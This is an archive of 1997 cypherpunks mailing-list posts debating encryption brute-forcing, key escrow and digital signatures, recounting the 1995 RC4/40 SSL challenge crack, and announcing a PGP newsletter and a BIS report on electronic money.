=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Mon, 31 Mar 1997 08:16:44 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com
Subject: Re: [NTSEC] Re: Internet Explorer Bug #4 (fwd)
Message-ID: <Pine.SUN.3.91.970331111923.18046H-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain




=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.


---------- Forwarded message ----------
Date: Sat, 29 Mar 1997 14:37:43 -0800
From: Chris Plunkett <chris.plunkett@opensys.com>
To: pmarc@cmg.FCNBD.COM
Cc: Romulo Moacyr Cholewa <rmcholewa@poboxes.com>,
    Windows NT BugTraq Mailing List <NTBUGTRAQ@rc.on.ca>,
    "ntsecurity@iss.net" <ntsecurity@iss.net>, hughtay@microsoft.com
Subject: Re: [NTSEC] Re: Internet Explorer Bug #4

> > We are aware of this, but the report is misleading.  The report states
> > that both times the password sent from the client to the server is
> > encrypted.  It would take quite a while for even a Cray Supercomputer to
> > decrypt the password, even if it was dedicated to that sole task.  For
> > the average network server (and a powerful one), it would take a few
> > human lifetimes to decrypt them even if they were dedicated to that sole
> > task.
> 
> Arrggghhh!  Nothing sets off my ignorance alert more quickly than somebody
> who mentions a Cray in conjunction with attempts to brute force crypto
> algorithms.  I won't bother to explain all of the reasons why that is a
> foolish thing to say.  Instead I will share a little story about some folks I
> know from about 3-4 years ago.  (Greetings to any of these individuals who
> may be lurking on NTSEC or NTBUGTRAQ.)
> 
> Apparently they had some good reasons to go after the encryption algorithm
> used by WordPerfect.  After several ineffective implementations, a
> WordPerfect engineer developed a DES based encryption algorithm.  His claim
> was that it would take a room full of Crays to break the algorithm.  Hmmm...
> sounds familiar.  Needless to say, shortly after a successful attack on the
> algorithm by those mentioned, there was a certain 486 with a YMP sticker
> plastered to its front.
> 
> Sure, brute force attacks can be expensive when an algorithm is implemented
> correctly.  However, I can't let it pass when these facts are expressed in
> such a patronizing manner.
> 
> ---
> Paul M. Cardon - System Officer
> Capital Markets Systems - First Chicago NBD Corporation
> pmarc@cmg.fcnbd.com - (312) 732-7392
> 
I heard a story one time.  It evolved around a college student in
France doing some cyptography work in school,  working nights 
as a backup operator at some large computer center.  He didn't need
a cray.   A little knowledge and some creative programming,  and 
a center full of computers (problably around the size of a Sparc 10).
The story ended explaning how one of the encryption schemes that 
would tale a Cray week to break,  was broken in one night,  by a 
bunch of computers running backups.

It might be hard to find a cray,  but I know a guy,  he works 
at this place where they got them 15 pentium pros.  The average
network server has another server for some other task on the
same wire.
------------------------------------------------------------
Chris Plunkett                             System Technician
Breakwater Technologies Inc.
phone:(206)803-5000x112                    Fax:(206)803-5001
http://www.breakwater.net        mailto:chris@breakwater.net
------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Mon, 31 Mar 1997 11:46:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Looking for a c'punk volunteer in the East Bay
Message-ID: <199703311946.LAA02543@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Fri, 21 Mar 1997 17:54:11 -0800 (PST)
From: Dennis Derryberry <dennis@eff.org>
To: gnu@toad.com

John - do Cypherpunks like to play superhero and help people who are being
hacked? A woman called who says someone had rboken into her system
reprogrammed certain controls causing her to be instantly trackable
whenever she logged in, no matter what account she used, no matter
from where, etc.

She says it happens *every* time.

Law enforcement is baffled and has no advice (surprise, surprise).

She said the FBI even recommended she hire a hacker to play along with the
culprit and see if they couldn't catch him that way.

So, if you or anyone you know is interested in a weekend sporting
event, you can reach Debra Wellman at the home of her mother 510 855 9744

I spoke with her on the phone. She is not crazy, just frustrated.

	Dennis
--
Dennis Derryberry
Executive Administrator
Electronic Frontier Foundation
Web:	http://www.eff.org
tel:	415 436 9333 x104
fax:	415 436 9993
email:	dennis@eff.org




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Mon, 31 Mar 1997 10:17:35 -0800 (PST)
To: Kent Crispin <kent@songbird.com>
Subject: Re: Analysis of proposed UK ban on use of non-escrowed crypto.
In-Reply-To: <19970327232118.10795@bywater.songbird.com>
Message-ID: <Pine.SUN.3.91.970328125230.15157B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 27 Mar 1997, Kent Crispin wrote:

> > 	The PGP web of trust idea is more than sufficient.
> 
> No, it is completely inadequate.  I am the office-supply manager the 
> San Francisco branch of Big Well-known Company,  Inc.  I have 
> signature authority in the company for purchases up to $5000, 
> otherwise I have to get higher-up approval.  I have a "company 
> signature" which is authorized for that amount, one of about 800 such 
> signatures.  I wish to purchase office supplies from a large office 
> supply wholesaler in New York, which has literally tens of thousands 
> of customers.  The "web of trust" model simply does not handle this 
> kind of situation well.  I realize that some of the keyservers are 
> very high performance -- that's not the problem.  The problem is the 
> structure of the web itself.  If there were some trusted *authority* that 
> could sign keys...

Sure there is.  The HR department of Big Well-known Company, Inc. can 
sign the employee's keys.  What's the problem?  If you want to order 
something you do so by generating a P.O. or by using a credit card.  What 
does the web of trust have to do with this?

If you need approval, it's simple, you ask for it.  When you get it, you 
order your 10,000 pencil erasers.  You don't have to use PGP signatures 
for orders, but you can if the infrastructure is there between both 
companies.
 
> >	If you
> > 	want, you can designate a third party as a trusted
> > 	authority.  However, this is not needed if you meet
> > 	the person with whom you will communicate in person
> > 	and exchange public keys.  Further this trusted
> > 	authority needn't be a government entity thank you.
> > 	This could easily be your lawyer, Verisign or some
> > 	other entity.
> 
> This is no longer a web of trust model, it is a Certificate Authority 
> model.  Certificate authority standards are developing at warp speed.

No shit.  Both are possible.  Whichever your company wants it will use.

> > 	The only legal support needed for digital signatures
> > 	is for the courts to recognize that digital signatures
> > 	are equivalent to their analog counterparts.
> 
> The *only* legal support?  This is a *big* deal, and the issues are 
> very complicated.  Handwritten signatures and digital signatures are 
> really quite different.

I claimeth not lawyerhood, but IMHO, it can stand up in court if both 
parties agree to it by analog signatures infront of a notray.  Any 
lawyers care to comment?

> >	This could
> > 	be binding if the two parties sign something that says
> > 	"If I use PGP to sign a document I agree to allow that
> > 	document to be treated as if I signed it." (IMHO)
> 
> Sure.  It's been done, in fact.  However, pairwise contracts with
> everyone you do business with is not going to cut it.  You need laws
> for this. 

Not if it is agreed by all parties involved and their lawyers to honor 
such signatures. (IMHO)

> [...]
> > 
> > > 	4) Businesses, especially large businesses, will (and do)
> > > 	want common standards for key and DS management.
> > 
> > 	Yeah, and they also want standards for software.  I.e.
> > 	Word Perfect Office versus Microsoft Office. Lotus
> > 	Notes Domino versus Netscape Enterprise server.  However
> > 	neither of these examples show a need for government
> > 	entities.  They can easily say "We use PGP as our
> > 	signing standard, and our notary will be shown
> > 	a person driver license and will sign a printed email
> > 	with that person's key for proof."	
> 
> This is pair-wise contracting again.  Note, incidentally, that 
> standards concerning signatures are of a different order than 
> standards concerning office software.  There far more pressing 
> liability issues with digital signature.

Really? you must not have been gotten infected by the slew of Word and 
Excel viruses out there.  Might be a very good lawsuit against Micro$oft 
that they allowed such things to happen.

Standards for a company are standards for a company.  Which standard has 
more weight or importance is up to that company.  Sure, it is on a bigger 
scale that installing XYZ OfficeWare and getting your ass fired, but it 
is still a standard.

Is there any reason that a specific company CAN'T decide to use PGP? (or 
PEM, or some other scheme) if it so choses?

> > > 	9) There is a high probability that a widespread standard
> > > 	for enterprise level key management including key escrow
> > > 	will develop in the next few years.
> > 
> > 	Why jump to key escrow all of a sudden?  You see, a 
> > 	corporation can escrow its own keys in a fire proof
> > 	safe off site.  Why use a government agency where any
> > 	two bit crooked employee can access the keys of that
> > 	corporation?
> 
> I didn't say "government agency".  I said "Enterprise level".  A
> fireproof safe offsite is indeed a crude form of enterprise level key
> escrow.  But it's not really very useful.  Imagine a company with 
> several thousand employees, with each employee having a company 
> signature key.  You use your key for all kinds of mundane things -- 
> signing your time sheet, signing purchase orders, signing memos, 
> etc.  (This is not one of your personal keys that you use when you 
> send email to your lover.)  You have a turnover of several people a 
> month, people forgetting passphrases, people invalidating keys 
> because of a passphrase compromise, etc.  These are company signature 
> keys, also used for encrypting email, so the company escrows all the 
> secret halves of the keypairs.  (There is no privacy issue here -- 
> these are all company keys used for company business, all the 
> encrypted documents are company documents.)

So what's the problem?  You hire people to keep track of assigning, 
escrowing, and signing keys for your employees.  You have IS staff and 
security staff to watch for breeches.  You can automate tons of this with 
good written scripts that automatically scan all email for valid 
signatures and raise alarms when signatures don't match.

Where is this not useful?  For a small company a locked safe is plenty.  
For a large company, you hire HR/Security folks to be your "Key Agents" 
or whatever.

 
> In this scenario there is daily access to the key escrow system.  A 
> fireproof safe offsite is not the most convenient way to deal with 
> the problem, and so the company will buy a software solution -- a 
> nice, cryptographically secure, software solution.  (This is 
> obviously not a hard problem -- any cypherpunk should be able to 
> design such a system.)

Yeah, ditto.  We agree on this.  We also would want something sent 
offsite incase of nuke, flood, fire, or mass suicide. :-)  (sorry had to 
throw in a Heaven's Gate ref somewhere.)

> > > 	10) This will converge with legal developments motivated by
> > > 	Digital Signature and support for electronic commerce, so that
> > > 	the standards will actually be government standards with at
> > > 	least partial force of law.
> > 
> > 	Why do commercial standards need be the same as those 
> > 	dictated by govermental standards? 
> 
> Many commercial "standards" are legal standards, supplied by the
> government.  In fact, the whole legal infrastructure of business law
> is really, when you get right down to it, a set of legally mandated
> standards.  Standards are all over the map, when it comes to legal 
> status.

Because there are laws that force such standards on the company.  So far 
are there any laws that say you can't use anything but DSA? (Or Clipper, 
or whatever NSA backed scheme d'jour is being pushed?)  If there were 
such laws in progress, they would be fought. :)

> >	Why does there need
> > 	to be a law that says "All businesses MUST use clipper
> > 	(or whatever) and escrow keys with the FBI/CIA/etc.?"
> 
> There doesn't need to be such a law.  

So we agree. :)

> [...]
> > 	Sure, hence the old "When encryption is outlawed only outlaws will
> > 	encrypt" slogan.  Why do we need laws to state what a company is
> > 	allowed to encrypt or not encrypt?  And why must those state
> > 	what cypher, bit lengths, and methods they must use?  And that they
> > 	must be escrowed in a certain way?
> 
> How about a law that stated that all RSA keys used for digital 
> signature must be at least 4096 bits in length before they will be 
> accepted as legally binding?  Would that be a good law or a bad law?

It would be cool by me to impose a minimum provided that the current state of
hardware could process such keys without too much of a delay factor, but not
a maximum.  If I am sick enough to want a 16384 bit RSA key, why force me to
use something lesser?

But within a company, were I insistent enough for whatever reason to use 
384 bit RSA keys, as weak as they are and that was my company's policy I 
should be able to allow it.  (Just as employers can read email if you 
expect that you have no privacy on the company email system.)

> > 	Where I work, we keep in "escrow" a key database (on index cards)
> > 	with all the passwords for all the machines.  Also in that fire
> > 	proof safe live all the backups.  
> 
> Funny, we do exactly the same thing.  Except once a year or so 
> complete backups are carted off to the desert, and stored 
> forever. 

Ours is a bit more paranoid.  We offsite a tape on the 15th and last day 
of every month.  Every few months we burn a pair of CD's of the important 
stuff, keep one in the local safe, one offsite.

> > Yeah, and likely you should change your underwear since it is soaked in 
> > it. :)
> 
> Over the years I've developed an asbestos butt.

It helps (looking at my own flame resistant shorts...)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 31 Mar 1997 11:46:43 -0800 (PST)
To: Hal Finney <hal@rain.org>
Subject: Re: The Blessing of Keys
In-Reply-To: <199703311723.JAA25672@crypt.hfinney.com>
Message-ID: <33401488.14C5@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Hal Finney wrote:
 
> I don't know about Tim's idea of claiming that a key signature is a
> religious act.  That sounds pretty bizarre to me.

  I wouldn't be so certain about that. Give the CypherPunks history of
treating PGP as a Holy Icon, I think a good case could be made for 
building a religion around key signatures.

  Apparently, however, not all CypherPunks can be considered 'True
Believers'. I, among others, checked out the information in the 
anonymous post which indicated press reports of the RSA algorithm
being broken.
  I suppose that now I will be denied the opportunity to partake of the
PGP Sacrament at the next CypherMass.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Mon, 31 Mar 1997 12:45:41 -0800 (PST)
To: Ray Arachelian <cypherpunks@toad.com
Subject: Re: PRESS REPORT - IMPORTANT?????
In-Reply-To: <199703310825.KAA13268@spoof.bart.nl>
Message-ID: <3.0.1.32.19970331154851.00781540@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:05 AM 3/31/97 -0500, Ray Arachelian wrote:
>Is this for real or a troll???
>

It's not in *my* copy of the Sunday Times.  Sounds like the Russkies haver
broken RSA" trolls we've seen before.  It's a 'Ripov'.

DCF






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Mon, 31 Mar 1997 16:28:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Bank for International Settlement (BIS) report on bitbux
Message-ID: <199704010028.QAA07461@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From: Pete Yeatrakas <pyeatrakas@wespay.org>

For those of you interested in security of electronic money, you may
want to browse the Bank on International Settlement (BIS) page and read
a report issued in 1996.  BIS is the organization of G-10 central banks
(e.g., in the US, Federal Reserve Bank Board) who meet to discuss
international payments issues.  The excerpt below is the first paragraph
from http://www.bis.org/publ/cpss18.htm announcing the study of
"security of electronic money," available in pdf format. 

BIS 1996 annual report (http://www.bis.org/publ/cpss19.htm) also
provides detailed information about each country's payment system
(currency in circulation, number of ATMs and financial
institutions/branches, GDP, population - 1990 through 1995) and
concludes with a comparative analysis of those countries (with currency
compared in US dollars).  This is a valuable resource for the student of
European and US payment systems.
 (BIS home page is http://www.bis.org )
Best Regards,
Peter Yeatrakas


"Committee on Payment and Settlement Systems 
SECURITY OF ELECTRONIC MONEY
FOREWORD
In November 1995, the central bank Governors of the Group of Ten (G-10)
countries commissioned a series of studies on specific issues related to
electronic money, in view of the potential importance of this new form
of money and its implications for monetary policy, consumer protection
and payment systems. These studies were carried out by the Committee on
Payment and Settlement Systems (CPSS). For the examination of the
security aspects of electronic money schemes the CPSS sought the
assistance of the Group of Computer Experts, which established for
that purpose the Task Force on Security of Electronic Money, chaired by
Mr. Israel Sendrovic from the Federal Reserve Bank of New York. At their
meeting in July 1996 the G-10 Governors discussed the various reports
that had been commissioned and agreed on the publication of the
present report on Security of Electronic Money. The report is not
necessarily intended to represent the official views of the Governors."




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Mon, 31 Mar 1997 13:32:42 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: The Zimmermann Telegram
Message-ID: <3.0.1.32.19970331163225.007c57f0@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


>Date: Mon, 31 Mar 1997 11:59:49 -0800
>To: telegram-request@pgp.com
>From: Dave Del Torto <ddt@pgp.com>
>Subject: The Zimmermann Telegram
>
>-----BEGIN PGP SIGNED MESSAGE-----
>
>
>Ladies, Gentlemen & Cryptographers,
>
>I'm pleased to announce the imminent release of the premier issue of the
>new "Zimmermann Telegram" newsletter. The Zimmermann Telegram will be a
>regularly-published, paper-based, English-language technical update
>newsletter from PGP's engineering staff, and will cover a variety of
>cryptographic and other lighthearted topics which we may otherwise be
>restricted from discussing via electronic media. The newsletter will be
>sent, in compliance with US law, by regular postal mail to anyone
>interested in technical information about PGP -- anywhere in the world.
>
>If you are now developing PGP-related freeware, shareware, commercial or
>academic cryptographic software, or you plan in future to become a
>registered PGP Developer or PGP World Partner (those programs are currently
>under construction and will be formally announced later) or if you are just
>interested in technical information about cryptography, we think you'll
>enjoy reading our newsletter.
>
>In the premier issue, along with important updates regarding changes to the
>PGP packet format, CRC security problems and new extensions to the PGP key
>format which are not available through any other medium, you'll learn about
>the significance of the "Zimmermann Telegram" name. Meanwhile, visit this
>page: <http://www.nara.gov/nara/digital/teaching/zimmermann/zimmerma.html>.
>
>Scheduled to be mailed imminently, the premier issue will be sent free to
>anyone who provides us with a postal mail address. After that, regular
>subscriptions will require a modest fee (to be announced) to cover our
>mailing costs, but we've committed to offering a limited number of free
>one-year subscriptions to interested members of the cryptography community.
>To request your free subscription, please send email to me at:
>
><mailto:telegram-request@pgp.com?subject=first_issue_free_subscription_req>
>
>In the body of your request, please include the form below (items between
>the cut-lines ONLY, and preferably PGP-signed), and replace the lines with
>your complete postal mail address info as indicated. We'll put an HTML
>subscription form on our website, but for the premier issue, we're managing
>the subscription process via email. Thank you for your patience as we
>deploy rapidly. :)
>
>............................. form begins here .............................
>The Zimmermann Telegram
>PGP's Technical Newsletter
>
>           - Premier Issue & One-Year Free Subscription Request -
>
>Subscription Information (Premier Issue):
>
> name                 (optional, but appreciated)
> title                (optional)
> organization/dept    (optional, as appropriate)
> street address
> mailstop             (optional)
> city/state/province
> zip-/postal-code
> country
>
>Free Subscription Category: (please [x] only one)
>
> [ ] academic
> [ ] public library
> [ ] media maven
> [ ] human-rights/privacy activist
> [ ] corporate security
> [ ] impoverished cypherpunk
> [ ] software analyst
> [ ] law enforcement
> [ ] freedom-fighter
> [ ] intelligence agency
> [ ] freeware developer
>
>.............................. form ends here ..............................
>
>Privacy Lock: If you are concerned about the privacy of your personal
>information when sent over unsecured public networks, please feel free to
>encrypt your subscription request to my key, which can be found at:
><http://swissnet.ai.mit.edu:11371/pks/lookup?op=index&search=0x4AAF00E5>.
>Pretty Good Privacy Inc will take all reasonable precautions to protect
>this information and will not use it for any other purpose without first
>asking your permission. Also, PGP will not sell or give the information to
>another entity and will store the list securely between mailings.
>
>Please feel free to circulate/forward this message (with PGP-signature)
>among your friends and colleagues (remember: the free subscription offer
>expires on 30 April 1997). We look forward to your comments on The
>Zimmermann Telegram and thank you for your continued support of PGP.
>
>
>   dave
>
>_________________________________________________________________________
>Dave Del Torto                                       +1.415.524.6231  tel
>Senior Technical Evangelist                          +1.415.572.1932  fax
>Pretty Good Privacy, Inc.                         http://www.pgp.com  web
>                                                        X-PGP header  key
>
>
>........................ "The Zimmermann Telegram" ........................
>Copyright (c) 1997 Pretty Good Privacy, Inc. All Rights Reserved. PGP and
>Pretty Good Privacy are registered trademarks of Pretty Good Privacy, Inc.
>Permission is granted to the reader to reproduce and distribute exact
>copies of this document, in physical or electronic form, on a
>non-commercial basis (i.e., at no direct or indirect charge). This document
>has been made available in hard copy on a subscription basis and is
>available in public libraries in the United States. Accordingly, and solely
>for purposes of U.S. Export Control laws and regulations (but not copyright
>or other intellectual property laws), this document is considered in the
>"public domain." The information in this document is of an exploratory or
>experimental nature. As such, it is subject to change without notice and is
>provided "AS IS." No guarantee is made that it is free of errors or that it
>will meet your requirements. While we welcome your feedback on this
>document, we are unable to provide any technical support for its contents.
>...........................................................................



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Evil se7en <se7en@dis.org>
Date: Mon, 31 Mar 1997 16:49:23 -0800 (PST)
To: DC-Stuff List <dc-stuff@dis.org>
Subject: Opportunity
Message-ID: <Pine.BSI.3.91.970331164605.13358F-100000@kizmiaz.dis.org>
MIME-Version: 1.0
Content-Type: text/plain



I need to find someone, preferably living in the Midwest, Great Lakes or 
Northeast part of the country, who knows the JAVA programming language. 
I am giving a two-day introductory course to the language next month in 
Cleveland. I will teach the first day, leaving someone to pick up the 
second day. You would be paid a fee plus all expenses.

Please reply privately off list.

se7en




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Evil se7en <se7en@dis.org>
Date: Mon, 31 Mar 1997 16:55:29 -0800 (PST)
To: DC-Stuff List <cypherpunks@toad.com>
Subject: Re: Opportunity
In-Reply-To: <Pine.BSI.3.91.970331164605.13358F-100000@kizmiaz.dis.org>
Message-ID: <Pine.BSI.3.91.970331165416.13358J-100000@kizmiaz.dis.org>
MIME-Version: 1.0
Content-Type: text/plain




On Mon, 31 Mar 1997, Evil se7en wrote:

> I need to find someone, preferably living in the Midwest, Great Lakes or 
> Northeast part of the country, who knows the JAVA programming language. 
> I am giving a two-day introductory course to the language next month in 
> Cleveland. I will teach the first day, leaving someone to pick up the 
> second day. You would be paid a fee plus all expenses.

Uh, just posted this, and now I also need someone who can teach Windows 
NT 4.0 from a security standpoint. Same deal as above. Reply as list.

se7en




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 31 Mar 1997 15:24:38 -0800 (PST)
To: gnu@toad.com (John Gilmore)
Subject: Re: Looking for a c'punk volunteer in the East Bay
In-Reply-To: <199703311946.LAA02543@toad.com>
Message-ID: <199703312323.RAA25498@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


she has to pay real $$ for this job.

igor

John Gilmore wrote:
> 
> Date: Fri, 21 Mar 1997 17:54:11 -0800 (PST)
> From: Dennis Derryberry <dennis@eff.org>
> To: gnu@toad.com
> 
> John - do Cypherpunks like to play superhero and help people who are being
> hacked? A woman called who says someone had rboken into her system
> reprogrammed certain controls causing her to be instantly trackable
> whenever she logged in, no matter what account she used, no matter
> from where, etc.
> 
> She says it happens *every* time.
> 
> Law enforcement is baffled and has no advice (surprise, surprise).
> 
> She said the FBI even recommended she hire a hacker to play along with the
> culprit and see if they couldn't catch him that way.
> 
> So, if you or anyone you know is interested in a weekend sporting
> event, you can reach Debra Wellman at the home of her mother 510 855 9744
> 
> I spoke with her on the phone. She is not crazy, just frustrated.
> 
> 	Dennis
> --
> Dennis Derryberry
> Executive Administrator
> Electronic Frontier Foundation
> Web:	http://www.eff.org
> tel:	415 436 9333 x104
> fax:	415 436 9993
> email:	dennis@eff.org
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 31 Mar 1997 17:12:26 -0800 (PST)
To: devnull@manifold.algebra.com
Subject: Re: Bank for International Settlement (BIS) report on bitbux
In-Reply-To: <199704010028.QAA07461@toad.com>
Message-ID: <199704010109.TAA26571@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


John Gilmore wrote:
> For the examination of the
> security aspects of electronic money schemes the CPSS sought the
> assistance of the Group of Computer Experts

Long live CPSS!

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 31 Mar 1997 20:15:11 -0800 (PST)
To: chris@breakwater.net
Subject: Re: [NTSEC] Re: Internet Explorer Bug #4 (fwd)
In-Reply-To: <Pine.SUN.3.91.970331111923.18046H-100000@beast.brainlink.com>
Message-ID: <3.0.1.32.19970331201125.0064f4f8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:19 AM 3/31/97 -0500, Ray Arachelian forwarded:
>---------- Forwarded message ----------
>Date: Sat, 29 Mar 1997 14:37:43 -0800
>From: Chris Plunkett <chris.plunkett@opensys.com>
>To: pmarc@cmg.FCNBD.COM
>Cc: Romulo Moacyr Cholewa <rmcholewa@poboxes.com>,
>    Windows NT BugTraq Mailing List <NTBUGTRAQ@rc.on.ca>,
>    "ntsecurity@iss.net" <ntsecurity@iss.net>, hughtay@microsoft.com
>Subject: Re: [NTSEC] Re: Internet Explorer Bug #4

	[Amusing story deleted "486 with 'YMP' sticker on it]
>I heard a story one time.  It evolved around a college student in
>France doing some cyptography work in school,  working nights 
>as a backup operator at some large computer center.  He didn't need
>a cray.   A little knowledge and some creative programming,  and 
>a center full of computers (problably around the size of a Sparc 10).
>The story ended explaning how one of the encryption schemes that 
>would tale a Cray week to break,  was broken in one night,  by a 
>bunch of computers running backups.

This is almost certainly the RC4/40 crack in August 1995 by
Damien Doligez in response to Hal Finney's challenge.
It had actually been broken a few hours earlier by an
English (Anglo-American?) team using a coordinated
Internet attack, but Damien noticed his success before
they noticed theirs.  Much noise was made in the press by
various people about "Using $10,000 worth of supercomputer time",
but in fact the antique KSR-1 contributed far less crunching than
the bunch of DEC Alpha workstations, and the amount of money
per crack (if you'd been renting computer time) would have been
far less.  Subsequent cracks were run by the Internet team,
which ran even faster, once they were organized.
Various Cypherpunks were quoted in the press talking about
how the US export laws were bogus, and how the maximum-strength
crypto allowed by US law could be broken by a grad student over
a weekend.

Since then, there have been other cracks - the RC5/40 crack by
Ian Goldberg took 3.5 hours on a Network of Workstations at Berkeley,
winning the RSA challenge a few minutes before Germano Caronni's
distributed Internet team, which subsequently broke the RC5/48 challenge.
It's been popular in the press to refer to these talented researchers as
"a grad student" when trying to make the point that "anybody could
break this wimpy stuff" or as "a university research team with a 
room full of expensive supercomputers" when trying to pretend
the export limits are reasonable for the real world.

The news article below is from "NB", presumably "NewsBytes",
and was posted without permission to the cypherpunks list
by an anonymous remailer user.
======================================================
Date: Sat, 19 Aug 1995 00:01:18 +0200
Subject: WhiSSLing in the Dark 
To: cypherpunks@toad.com
From: nobody@REPLAY.COM (Anonymous)

Netscape Encrypted Data Cracked

Tokyo, Japan, Aug. 18 (NB) -- Two computer users have
managed to break Netscape's Secure Sockets Layer (SSL)
encryption code in response to a challenge posted to the
Internet. But far from scaring people away from using the
system for online purchases, the results could reassure
people of the safety.

In mid July Hal Finney, a US computer user, posted data
in an Internet message that he recorded when he sent an
order, containing a fake name and credit card details, to
Netscape's own computer. Setting a task for the hacking
community, he wrote, "The challenge is to break the
encryption and recover the name and address info I
entered in the form and sent securely to Netscape."

Early this week, news came from Damien Doligez, a French
computer user, that he had cracked the code and revealed
the contents of the message. Several hours later a
message from an American team also claimed the same feat,
actually cracking it two hours earlier than Doligez.

While the results look damaging on the surface, Netscape,
and Doligez, pointed out the amount of computer
processing power needed to hack just one message and the
difficulty in repeating the process.

Roseanne Siino of Netscape told Newsbytes, "The real
issue is whether this compromises security on the net. He
used 120 computers for 8 days just to crack one message."
Siino points out that to break into another message would
require another eight days at the same 120 workstations
and 2 parallel computers.

In home computer terms, Doligez guesses a network of
about 80 Intel Pentium-based machines would be equivalent
to the system he had access to via his workplace, INRIA
in Paris, and computers an Ecole Polytechnique and ENS.

Netscape estimates the total cost of this computing time
at around $10,000, meaning there are many more economical
ways of getting credit cards numbers than hacking into
Netscape SSL messages.

Doligez agrees, writing on his home page: "The technical
implications are almost zero. Everybody who understands
the technical details knew perfectly well that this was
do-able and even easy. You have to understand what
happened exactly. I did not break SSL itself. I did only
break one SSL session that used the weakest algorithm
available in SSL. If I want to break another session, it
will cost another 8 days of all my machines."
The vulnerability of the encryption system is shown by
its international use. The coding system available via
Netscape software from the Internet makes use of a 40-bit
encryption key. A stronger version, using a 128-bit key,
is available to US citizens but restricted from export
outside the United States by government regulations.

Netscape's Siino explained the US government allows
export of the lower security version "because they can
break it."

There are some hopes that this demonstration will help
persuade the US government to lift export restrictions on
some harder-to-crack versions of the code.

Netscape is currently developing a new Secure Courier
code which just encrypts the financial data in the
messages using 56-bit keys. Siino explained, "You can
export over 40-bit keys for a specific application." The
new system should be available early next year.

Many companies working on secure transaction systems hope
the much more secure 128-bit code version of the system
will be available for export eventually. This is said to
be almost unbreakable, requiring a trillion times more
processing power to crack than the 40-bit version.

Internet users can view a copy of the original challenge,
access Doligez's home page with details of his result,
get copies of the program used to crack the code and read
Netscape's response to the news through a special section
at Netscape,

http://home.netscape.com/newsref/std/key_challenge.html

Press contacts : Roseanne Siino, Netscape,
+1-415-528-2619 , Internet email roseanne@netscape.com;
Damien Doligez, Internet email damien.doligez@inria.fr ;
Hal Finney, Internet email hfinney@shell.portal.com)

=========================================================================




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Mon, 31 Mar 1997 19:18:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 23
Message-ID: <33407EA8.320@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


